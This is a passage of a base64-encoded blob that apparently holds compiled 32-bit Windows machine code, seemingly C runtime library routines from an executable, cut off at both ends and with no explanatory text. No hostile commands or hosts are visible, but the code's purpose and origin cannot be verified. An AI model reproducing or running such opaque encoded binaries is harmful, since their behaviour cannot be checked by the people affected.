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8Dld9HQJ/3X06L6c//9Zi0XwO8N0DDlFGHQHUOirnP//WYvGjWXgX15bi038M83oY2X//8nDi/9Vi+yD7BD/dQiNTfDoV3b///91KI1N8P91JP91IP91HP91GP91FP91EP91DOgo/P//g8QggH38AHQHi034g2Fw/cnDi/9Vi+xRUaEEEEEAM8WJRfyhkCpBAFNWM9tXi/k7w3U6jUX4UDP2RlZoLOpAAFb/FSzhQACFwHQIiTWQKkEA6zT/FRjgQACD+Hh1CmoCWKOQKkEA6wWhkCpBAIP4Ag+EzwAAADvDD4THAAAAg/gBD4XoAAAAiV34OV0YdQiLB4tABIlFGIs1ZOBAADPAOV0gU1P/dRAPlcD/dQyNBMUBAAAAUP91GP/Wi/g7+w+EqwAAAH48gf/w//9/dzSNRD8IPQAEAAB3E+gwFwAAi8Q7w3QcxwDMzAAA6xFQ6AEIAABZO8N0CccA3d0AAIPACIvYhdt0aY0EP1BqAFPoXI///4PEDFdT/3UQ/3UMagH/dRj/1oXAdBH/dRRQU/91CP8VLOFAAIlF+FPoyPr//4tF+FnrdTP2OV0cdQiLB4tAFIlFHDldGHUIiweLQASJRRj/dRzopBQAAFmD+P91BDPA60c7RRh0HlNTjU0QUf91DFD/dRjozBQAAIvwg8QYO/N03Il1DP91FP91EP91DP91CP91HP8VKOFAAIv4O/N0B1borJr//1mLx41l7F9eW4tN/DPN6GRj///Jw4v/VYvsg+wQ/3UIjU3w6Fh0////dSSNTfD/dSD/dRz/dRj/dRT/dRD/dQzoFv7//4PEHIB9/AB0B4tN+INhcP3Jw4v/VYvsVot1CIX2D4SBAQAA/3YE6Dya////dgjoNJr///92DOgsmv///3YQ6CSa////dhToHJr///92GOgUmv///zboDZr///92IOgFmv///3Yk6P2Z////dijo9Zn///92LOjtmf///3Yw6OWZ////djTo3Zn///92HOjVmf///3Y46M2Z////djzoxZn//4PEQP92QOi6mf///3ZE6LKZ////dkjoqpn///92TOiimf///3ZQ6JqZ////dlTokpn///92WOiKmf///3Zc6IKZ////dmDoepn///92ZOhymf///3Zo6GqZ////dmzoYpn///92cOhamf///3Z06FKZ////dnjoSpn///92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